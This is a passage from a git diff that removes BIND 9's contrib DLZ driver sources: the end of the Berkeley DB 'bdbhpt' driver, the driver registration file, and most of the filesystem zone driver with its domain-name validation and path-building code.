-	bdbhptres = db_env_create(&db->dbenv, 0);
-	if (bdbhptres != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt environment could not be created. "
-			      "bdbhpt error: %s",
-			      db_strerror(bdbhptres));
-		result = ISC_R_FAILURE;
-		goto init_cleanup;
-	}
-
-	/* open bdbhpt environment */
-	bdbhptres = db->dbenv->open(db->dbenv, argv[2],
-				    bdbFlags | bdbhpt_threads | DB_CREATE, 0);
-	if (bdbhptres != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt environment at '%s' could not be opened."
-			      " bdbhpt error: %s",
-			      argv[2], db_strerror(bdbhptres));
-		result = ISC_R_FAILURE;
-		goto init_cleanup;
-	}
-
-	/* open dlz_data database. */
-	result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->data, dlz_data,
-			       argv[3], DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* open dlz_xfr database. */
-	result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->xfr, dlz_xfr,
-			       argv[3], DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* open dlz_zone database. */
-	result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->zone, dlz_zone,
-			       argv[3], 0);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* open dlz_client database. */
-	result = bdbhpt_opendb(db->dbenv, DB_UNKNOWN, &db->client, dlz_client,
-			       argv[3], DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	*dbdata = db;
-
-	return (ISC_R_SUCCESS);
-
-init_cleanup:
-
-	bdbhpt_cleanup(db);
-	return (result);
-}
-
-static void
-bdbhpt_destroy(void *driverarg, void *dbdata) {
-	UNUSED(driverarg);
-
-	bdbhpt_cleanup((bdbhpt_instance_t *)dbdata);
-}
-
-/*
- * bdbhpt_authority not needed as authority data is returned by lookup
- */
-static dns_sdlzmethods_t dlz_bdbhpt_methods = {
-	bdbhpt_create,
-	bdbhpt_destroy,
-	bdbhpt_findzone,
-	bdbhpt_lookup,
-	NULL,
-	bdbhpt_allnodes,
-	bdbhpt_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_bdbhpt_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ bdbhpt driver.");
-
-	result = dns_sdlzregister("bdbhpt", &dlz_bdbhpt_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA |
-					  DNS_SDLZFLAG_THREADSAFE,
-				  named_g_mctx, &dlz_bdbhpt);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_bdbhpt_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ bdbhpt driver.");
-
-	if (dlz_bdbhpt != NULL) {
-		dns_sdlzunregister(&dlz_bdbhpt);
-	}
-}
-
-#endif /* ifdef DLZ_BDB */
diff --git a/contrib/dlz/drivers/dlz_drivers.c b/contrib/dlz/drivers/dlz_drivers.c
deleted file mode 100644
index 5f5b66e884..0000000000
--- a/contrib/dlz/drivers/dlz_drivers.c
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (C) 2005  Internet Systems Consortium, Inc. ("ISC")
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*! \file */
-
-#include <isc/result.h>
-
-/*
- * Pull in declarations for this module's functions.
- */
-
-#include <dlz/dlz_drivers.h>
-
-/*
- * Pull in driver-specific stuff.
- */
-
-#ifdef DLZ_STUB
-#include <dlz/dlz_stub_driver.h>
-#endif /* ifdef DLZ_STUB */
-
-#ifdef DLZ_POSTGRES
-#include <dlz/dlz_postgres_driver.h>
-#endif /* ifdef DLZ_POSTGRES */
-
-#ifdef DLZ_MYSQL
-#include <dlz/dlz_mysql_driver.h>
-#endif /* ifdef DLZ_MYSQL */
-
-#ifdef DLZ_FILESYSTEM
-#include <dlz/dlz_filesystem_driver.h>
-#endif /* ifdef DLZ_FILESYSTEM */
-
-#ifdef DLZ_BDB
-#include <dlz/dlz_bdb_driver.h>
-#include <dlz/dlz_bdbhpt_driver.h>
-#endif /* ifdef DLZ_BDB */
-
-#ifdef DLZ_LDAP
-#include <dlz/dlz_ldap_driver.h>
-#endif /* ifdef DLZ_LDAP */
-
-#ifdef DLZ_ODBC
-#include <dlz/dlz_odbc_driver.h>
-#endif /* ifdef DLZ_ODBC */
-
-/*%
- * Call init functions for all relevant DLZ drivers.
- */
-
-isc_result_t
-dlz_drivers_init(void) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-#ifdef DLZ_STUB
-	result = dlz_stub_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_STUB */
-
-#ifdef DLZ_POSTGRES
-	result = dlz_postgres_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_POSTGRES */
-
-#ifdef DLZ_MYSQL
-	result = dlz_mysql_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_MYSQL */
-
-#ifdef DLZ_FILESYSTEM
-	result = dlz_fs_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_FILESYSTEM */
-
-#ifdef DLZ_BDB
-	result = dlz_bdb_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	result = dlz_bdbhpt_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_BDB */
-
-#ifdef DLZ_LDAP
-	result = dlz_ldap_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_LDAP */
-
-#ifdef DLZ_ODBC
-	result = dlz_odbc_init();
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#endif /* ifdef DLZ_ODBC */
-
-	return (result);
-}
-
-/*%
- * Call shutdown functions for all relevant DLZ drivers.
- */
-
-void
-dlz_drivers_clear(void) {
-#ifdef DLZ_STUB
-	dlz_stub_clear();
-#endif /* ifdef DLZ_STUB */
-
-#ifdef DLZ_POSTGRES
-	dlz_postgres_clear();
-#endif /* ifdef DLZ_POSTGRES */
-
-#ifdef DLZ_MYSQL
-	dlz_mysql_clear();
-#endif /* ifdef DLZ_MYSQL */
-
-#ifdef DLZ_FILESYSTEM
-	dlz_fs_clear();
-#endif /* ifdef DLZ_FILESYSTEM */
-
-#ifdef DLZ_BDB
-	dlz_bdb_clear();
-	dlz_bdbhpt_clear();
-#endif /* ifdef DLZ_BDB */
-
-#ifdef DLZ_LDAP
-	dlz_ldap_clear();
-#endif /* ifdef DLZ_LDAP */
-
-#ifdef DLZ_ODBC
-	dlz_odbc_clear();
-#endif /* ifdef DLZ_ODBC */
-}
diff --git a/contrib/dlz/drivers/dlz_filesystem_driver.c b/contrib/dlz/drivers/dlz_filesystem_driver.c
deleted file mode 100644
index 8ed1af1b33..0000000000
--- a/contrib/dlz/drivers/dlz_filesystem_driver.c
+++ /dev/null
@@ -1,1015 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_FILESYSTEM
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/stat.h>
-
-#include <isc/dir.h>
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_filesystem_driver.h>
-#include <named/globals.h>
-
-static dns_sdlzimplementation_t *dlz_fs = NULL;
-
-typedef struct config_data {
-	char *basedir;
-	int basedirsize;
-	char *datadir;
-	int datadirsize;
-	char *xfrdir;
-	int xfrdirsize;
-	int splitcnt;
-	char separator;
-	char pathsep;
-	isc_mem_t *mctx;
-} config_data_t;
-
-typedef struct dir_entry dir_entry_t;
-
-struct dir_entry {
-	char dirpath[PATH_MAX];
-	ISC_LINK(dir_entry_t) link;
-};
-
-typedef ISC_LIST(dir_entry_t) dlist_t;
-
-/* forward reference */
-
-static void
-fs_destroy(void *driverarg, void *dbdata);
-
-/*
- * Private methods
- */
-
-static bool
-is_safe(const char *input) {
-	unsigned int i;
-	unsigned int len = strlen(input);
-
-	/* check that only allowed characters  are in the domain name */
-	for (i = 0; i < len; i++) {
-		/* '.' is allowed, but has special requirements */
-		if (input[i] == '.') {
-			/* '.' is not allowed as first char */
-			if (i == 0) {
-				return (false);
-			}
-			/* '..', two dots together is not allowed. */
-			if (input[i - 1] == '.') {
-				return (false);
-			}
-			/* '.' is not allowed as last char */
-			if (i == len - 1) {
-				return (false);
-			}
-			/* only 1 dot in ok location, continue at next char */
-			continue;
-		}
-		/* '-' is allowed, continue at next char */
-		if (input[i] == '-') {
-			continue;
-		}
-		/* 0-9 is allowed, continue at next char */
-		if (input[i] >= '0' && input[i] <= '9') {
-			continue;
-		}
-		/* A-Z uppercase is allowed, continue at next char */
-		if (input[i] >= 'A' && input[i] <= 'Z') {
-			continue;
-		}
-		/* a-z lowercase is allowed, continue at next char */
-		if (input[i] >= 'a' && input[i] <= 'z') {
-			continue;
-		}
-
-		/*
-		 * colon needs to be allowed for IPV6 client
-		 * addresses.  Not dangerous in domain names, as not a
-		 * special char.
-		 */
-		if (input[i] == ':') {
-			continue;
-		}
-
-		/*
-		 * '@' needs to be allowed for in zone data.  Not
-		 * dangerous in domain names, as not a special char.
-		 */
-		if (input[i] == '@') {
-			continue;
-		}
-
-		/*
-		 * if we reach this point we have encountered a
-		 * disallowed char!
-		 */
-		return (false);
-	}
-	/* everything ok. */
-	return (true);
-}
-
-static void
-create_path_helper(char *out, const char *in, config_data_t *cd) {
-	char *tmpString;
-	char *tmpPtr;
-	int i;
-
-	tmpString = isc_mem_strdup(named_g_mctx, in);
-
-	/*
-	 * don't forget is_safe guarantees '.' will NOT be the
-	 * first/last char
-	 */
-	while ((tmpPtr = strrchr(tmpString, '.')) != NULL) {
-		i = 0;
-		while (tmpPtr[i + 1] != '\0') {
-			if (cd->splitcnt < 1) {
-				strcat(out, (char *)&tmpPtr[i + 1]);
-			} else {
-				strncat(out, (char *)&tmpPtr[i + 1],
-					cd->splitcnt);
-			}
-			strncat(out, (char *)&cd->pathsep, 1);
-			if (cd->splitcnt == 0) {
-				break;
-			}
-			if (strlen((char *)&tmpPtr[i + 1]) <=
-			    (unsigned int)cd->splitcnt) {
-				break;
-			}
-			i += cd->splitcnt;
-		}
-		tmpPtr[0] = '\0';
-	}
-
-	/* handle the "first" label properly */
-	i = 0;
-	tmpPtr = tmpString;
-	while (tmpPtr[i] != '\0') {
-		if (cd->splitcnt < 1) {
-			strcat(out, (char *)&tmpPtr[i]);
-		} else {
-			strncat(out, (char *)&tmpPtr[i], cd->splitcnt);
-		}
-		strncat(out, (char *)&cd->pathsep, 1);
-		if (cd->splitcnt == 0) {
-			break;
-		}
-		if (strlen((char *)&tmpPtr[i]) <= (unsigned int)cd->splitcnt) {
-			break;
-		}
-		i += cd->splitcnt;
-	}
-
-	isc_mem_free(named_g_mctx, tmpString);
-}
-
-/*%
- * Checks to make sure zone and host are safe.  If safe, then
- * hashes zone and host strings to build a path.  If zone / host
- * are not safe an error is returned.
- */
-
-static isc_result_t
-create_path(const char *zone, const char *host, const char *client,
-	    config_data_t *cd, char **path) {
-	char *tmpPath;
-	int pathsize;
-	int len;
-	bool isroot = false;
-
-	/* we require a zone & cd parameter */
-	REQUIRE(zone != NULL);
-	REQUIRE(cd != NULL);
-	/* require path to be a pointer to NULL */
-	REQUIRE(path != NULL && *path == NULL);
-	/*
-	 * client and host may both be NULL, but they can't both be
-	 * NON-NULL
-	 */
-	REQUIRE((host == NULL && client == NULL) ||
-		(host != NULL && client == NULL) ||
-		(host == NULL && client != NULL));
-
-	/* special case for root zone */
-	if (strcmp(zone, ".") == 0) {
-		isroot = true;
-	}
-
-	/* if the requested zone is "unsafe", return error */
-	if (!isroot && !is_safe(zone)) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* if host was passed, verify that it is safe */
-	if (host != NULL && !is_safe(host)) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* if client was passed, verify that it is safe */
-	if (client != NULL && !is_safe(client)) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* Determine how much memory the split up string will require */
-	if (host != NULL) {
-		len = strlen(zone) + strlen(host);
-	} else if (client != NULL) {
-		len = strlen(zone) + strlen(client);
-	} else {
-		len = strlen(zone);
-	}
-
-	/*
-	 * even though datadir and xfrdir will never be in the same
-	 * string we only waste a few bytes by allocating for both,
-	 * and then we are safe from buffer overruns.
-	 */
-	pathsize = len + cd->basedirsize + cd->datadirsize + cd->xfrdirsize + 4;
-
-	/* if we are splitting names, we will need extra space. */
-	if (cd->splitcnt > 0) {
-		pathsize += len / cd->splitcnt;
-	}
-
-	tmpPath = isc_mem_allocate(named_g_mctx, pathsize * sizeof(char));
-
-	/*
-	 * build path string.
-	 * start out with base directory.
-	 */
-	strcpy(tmpPath, cd->basedir);
-
-	/* add zone name - parsed properly */
-	if (!isroot) {
-		create_path_helper(tmpPath, zone, cd);
-	}
-
-	/*
-	 * When neither client or host is passed we are building a
-	 * path to see if a zone is supported.  We require that a zone
-	 * path have the "data dir" directory contained within it so
-	 * that we know this zone is really supported.  Otherwise,
-	 * this zone may not really be supported because we are
-	 * supporting a delagated sub zone.
-	 *
-	 * Example:
-	 *
-	 * We are supporting long.domain.com and using a splitcnt of
-	 * 0.  the base dir is "/base-dir/" and the data dir is
-	 * "/.datadir" We want to see if we are authoritative for
-	 * domain.com.  Path /base-dir/com/domain/.datadir since
-	 * /base-dir/com/domain/.datadir does not exist, we are not
-	 * authoritative for the domain "domain.com".  However we are
-	 * authoritative for the domain "long.domain.com" because the
-	 * path /base-dir/com/domain/long/.datadir does exist!
-	 */
-
-	/* if client is passed append xfr dir, otherwise append data dir */
-	if (client != NULL) {
-		strcat(tmpPath, cd->xfrdir);
-		strncat(tmpPath, (char *)&cd->pathsep, 1);
-		strcat(tmpPath, client);
-	} else {
-		strcat(tmpPath, cd->datadir);
-	}
-
-	/* if host not null, add it. */
-	if (host != NULL) {
-		strncat(tmpPath, (char *)&cd->pathsep, 1);
-		create_path_helper(tmpPath, host, cd);
-	}
-
-	/* return the path we built. */
-	*path = tmpPath;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-process_dir(isc_dir_t *dir, void *passback, config_data_t *cd,
-	    dlist_t *dir_list, unsigned int basedirlen) {
-	char tmp[PATH_MAX + NAME_MAX];
-	int astPos;
-	struct stat sb;
-	isc_result_t result = ISC_R_FAILURE;
-	char *endp;
-	char *type;
-	char *ttlStr;
-	char *data;
-	char host[NAME_MAX];
-	char *tmpString;
-	char *tmpPtr;
-	int ttl;
-	int i;
-	int len;
-	dir_entry_t *direntry;
-	bool foundHost;
-
-	tmp[0] = '\0'; /* set 1st byte to '\0' so strcpy works right. */
-	host[0] = '\0';
-	foundHost = false;
-
-	/* copy base directory name to tmp. */
-	strcpy(tmp, dir->dirname);
-
-	/* dir->dirname will always have '*' as the last char. */
-	astPos = strlen(dir->dirname) - 1;
-
-	/* if dir_list != NULL, were are performing a zone xfr */
-	if (dir_list != NULL) {
-		/* if splitcnt == 0, determine host from path. */
-		if (cd->splitcnt == 0) {
-			if (strlen(tmp) - 3 > basedirlen) {
-				tmp[astPos - 1] = '\0';
-				tmpString = (char *)&tmp[basedirlen + 1];
-				/* handle filesystem's special wildcard "-"  */
-				if (strcmp(tmpString, "-") == 0) {
-					strcpy(host, "*");
-				} else {
-					/*
-					 * not special wildcard -- normal name
-					 */
-					while ((tmpPtr = strrchr(
-							tmpString,
-							cd->pathsep)) != NULL) {
-						if ((strlen(host) +
-						     strlen(tmpPtr + 1) + 2) >
-						    NAME_MAX) {
-							continue;
-						}
-						strcat(host, tmpPtr + 1);
-						strcat(host, ".");
-						tmpPtr[0] = '\0';
-					}
-					if ((strlen(host) + strlen(tmpString) +
-					     1) <= NAME_MAX) {
-						strcat(host, tmpString);
-					}
-				}
-
-				foundHost = true;
-				/* set tmp again for use later */
-				strcpy(tmp, dir->dirname);
-			}
-		} else {
-			/*
-			 * if splitcnt != 0 determine host from
-			 * ".host" directory entry
-			 */
-			while (isc_dir_read(dir) == ISC_R_SUCCESS) {
-				if (strncasecmp(".host", dir->entry.name, 5) ==
-				    0) {
-					/*
-					 * handle filesystem's special
-					 * wildcard "-"
-					 */
-					if (strcmp((char *)&dir->entry.name[6],
-						   "-") == 0) {
-						strlcpy(host, "*",
-							sizeof(host));
-					} else {
-						strlcpy(host,
-							(char *)&dir->entry
-								.name[6],
-							sizeof(host));
-					}
-					foundHost = true;
-					break;
-				}
-			}
-			/* reset dir list for use later */
-			isc_dir_reset(dir);
-		} /* end of else */
-	}
-
-	while (isc_dir_read(dir) == ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
-			      "Filesystem driver Dir name:"
-			      " '%s' Dir entry: '%s'\n",
-			      dir->dirname, dir->entry.name);
-
-		/* skip any entries starting with "." */
-		if (dir->entry.name[0] == '.') {
-			continue;
-		}
-
-		/*
-		 * get rid of '*', set to NULL.  Effectively trims
-		 * string from previous loop to base directory only
-		 * while still leaving memory for concat to be
-		 * performed next.
-		 */
-
-		tmp[astPos] = '\0';
-
-		/* add name to base directory name. */
-		strcat(tmp, dir->entry.name);
-
-		/* make sure we can stat entry */
-		if (stat(tmp, &sb) == 0) {
-			/* if entry is a directory */
-			if ((sb.st_mode & S_IFDIR) != 0) {
-				/*
-				 * if dir list is NOT NULL, add dir to
-				 * dir list
-				 */
-				if (dir_list != NULL) {
-					direntry = isc_mem_get(
-						named_g_mctx,
-						sizeof(dir_entry_t));
-					strcpy(direntry->dirpath, tmp);
-					ISC_LINK_INIT(direntry, link);
-					ISC_LIST_APPEND(*dir_list, direntry,
-							link);
-					result = ISC_R_SUCCESS;
-				}
-				continue;
-
-				/*
-				 * if entry is a file be sure we do
-				 * not add entry to DNS results if we
-				 * are performing a zone xfr and we
-				 * could not find a host entry.
-				 */
-			} else if (dir_list != NULL && !foundHost) {
-				continue;
-			}
-		} else { /* if we cannot stat entry, skip it. */
-			continue;
-		}
-
-		type = dir->entry.name;
-		ttlStr = strchr(type, cd->separator);
-		if (ttlStr == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Filesystem driver: "
-				      "%s could not be parsed properly",
-				      tmp);
-			return (ISC_R_FAILURE);
-		}
-
-		/* replace separator char with NULL to split string */
-		ttlStr[0] = '\0';
-		/* start string after NULL of previous string */
-		ttlStr = (char *)&ttlStr[1];
-
-		data = strchr(ttlStr, cd->separator);
-		if (data == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Filesystem driver: "
-				      "%s could not be parsed properly",
-				      tmp);
-			return (ISC_R_FAILURE);
-		}
-
-		/* replace separator char with NULL to split string */
-		data[0] = '\0';
-
-		/* start string after NULL of previous string */
-		data = (char *)&data[1];
-
-		/* replace all cd->separator chars with a space. */
-		len = strlen(data);
-
-		for (i = 0; i < len; i++) {
-			if (data[i] == cd->separator) {
-				data[i] = ' ';
-			}
-		}
-
-		/* convert text to int, make sure it worked right */
-		ttl = strtol(ttlStr, &endp, 10);
-		if (*endp != '\0' || ttl < 0) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Filesystem driver "
-				      "ttl must be a positive number");
-		}
-
-		/* pass data back to Bind */
-		if (dir_list == NULL) {
-			result = dns_sdlz_putrr((dns_sdlzlookup_t *)passback,
-						type, ttl, data);
-		} else {
-			result = dns_sdlz_putnamedrr(
-				(dns_sdlzallnodes_t *)passback, (char *)host,
-				type, ttl, data);
-		}
-
-		/* if error, return error right away */
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	} /* end of while loop */
-
-	return (result);
-}
-
-/*
- * SDLZ interface methods
- */
-
-static isc_result_t
-fs_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		const char *client) {
-	isc_result_t result;
-	char *path;
-	struct stat sb;
-	config_data_t *cd;
-	path = NULL;
-
-	UNUSED(driverarg);
-
-	cd = (config_data_t *)dbdata;
-
-	if (create_path(name, NULL, client, cd, &path) != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	if (stat(path, &sb) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto complete_AXFR;
-	}
-
-	if ((sb.st_mode & S_IFREG) != 0) {
-		result = ISC_R_SUCCESS;
-		goto complete_AXFR;
-	}
-
-	result = ISC_R_NOTFOUND;
-
-complete_AXFR:
-	isc_mem_free(named_g_mctx, path);
-	return (result);
-}
-
-static isc_result_t
-fs_allnodes(const char *zone, void *driverarg, void *dbdata,
-	    dns_sdlzallnodes_t *allnodes) {
-	isc_result_t result;
-	dlist_t *dir_list;
-	config_data_t *cd;
-	char *basepath;
-	unsigned int basepathlen;
-	struct stat sb;
-	isc_dir_t dir;
-	dir_entry_t *dir_entry;
-	dir_entry_t *next_de;
-
-	basepath = NULL;
-	dir_list = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(allnodes);
-
-	cd = (config_data_t *)dbdata;
-
-	/* allocate memory for list */
-	dir_list = isc_mem_get(named_g_mctx, sizeof(dlist_t));
-
-	/* initialize list */
-	ISC_LIST_INIT(*dir_list);
-
-	if (create_path(zone, NULL, NULL, cd, &basepath) != ISC_R_SUCCESS) {
-		result = ISC_R_NOTFOUND;
-		goto complete_allnds;
-	}
-
-	/* remove path separator at end of path so stat works properly */
-	basepathlen = strlen(basepath);
-
-	if (stat(basepath, &sb) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto complete_allnds;
-	}
-
-	if ((sb.st_mode & S_IFDIR) == 0) {
-		result = ISC_R_NOTFOUND;
-		goto complete_allnds;
-	}
-
-	/* initialize and open directory */
-	isc_dir_init(&dir);
-	result = isc_dir_open(&dir, basepath);
-
-	/* if directory open failed, return error. */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Unable to open %s directory to read entries.",
-			      basepath);
-		result = ISC_R_FAILURE;
-		goto complete_allnds;
-	}
-
-	/* process the directory */
-	result = process_dir(&dir, allnodes, cd, dir_list, basepathlen);
-
-	/* close the directory */
-	isc_dir_close(&dir);
-
-	if (result != ISC_R_SUCCESS) {
-		goto complete_allnds;
-	}
-
-	/* get first dir entry from list. */
-	dir_entry = ISC_LIST_HEAD(*dir_list);
-	while (dir_entry != NULL) {
-		result = isc_dir_open(&dir, dir_entry->dirpath);
-		/* if directory open failed, return error. */
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Unable to open %s "
-				      "directory to read entries.",
-				      basepath);
-			result = ISC_R_FAILURE;
-			goto complete_allnds;
-		}
-
-		/* process the directory */
-		result = process_dir(&dir, allnodes, cd, dir_list, basepathlen);
-
-		/* close the directory */
-		isc_dir_close(&dir);
-
-		if (result != ISC_R_SUCCESS) {
-			goto complete_allnds;
-		}
-
-		dir_entry = ISC_LIST_NEXT(dir_entry, link);
-	} /* end while */
-
-complete_allnds:
-	/* clean up entries from list. */
-	dir_entry = ISC_LIST_HEAD(*dir_list);
-	while (dir_entry != NULL) {
-		next_de = ISC_LIST_NEXT(dir_entry, link);
-		isc_mem_put(named_g_mctx, dir_entry, sizeof(dir_entry_t));
-		dir_entry = next_de;
-	} /* end while */
-	isc_mem_put(named_g_mctx, dir_list, sizeof(dlist_t));
-
-	if (basepath != NULL) {
-		isc_mem_free(named_g_mctx, basepath);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-fs_findzone(void *driverarg, void *dbdata, const char *name,
-	    dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	char *path;
-	struct stat sb;
-	path = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	if (create_path(name, NULL, NULL, (config_data_t *)dbdata, &path) !=
-	    ISC_R_SUCCESS)
-	{
-		return (ISC_R_NOTFOUND);
-	}
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1),
-		      "Filesystem driver Findzone() Checking for path: '%s'\n",
-		      path);
-
-	if (stat(path, &sb) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto complete_FZ;
-	}
-
-	if ((sb.st_mode & S_IFDIR) != 0) {
-		result = ISC_R_SUCCESS;
-		goto complete_FZ;
-	}
-
-	result = ISC_R_NOTFOUND;
-
-complete_FZ:
-
-	isc_mem_free(named_g_mctx, path);
-	return (result);
-}
-
-static isc_result_t
-fs_lookup(const char *zone, const char *name, void *driverarg, void *dbdata,
-	  dns_sdlzlookup_t *lookup, dns_clientinfomethods_t *methods,
-	  dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	char *path;
-	struct stat sb;
-	isc_dir_t dir;
-	path = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(lookup);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	if (strcmp(name, "*") == 0) {
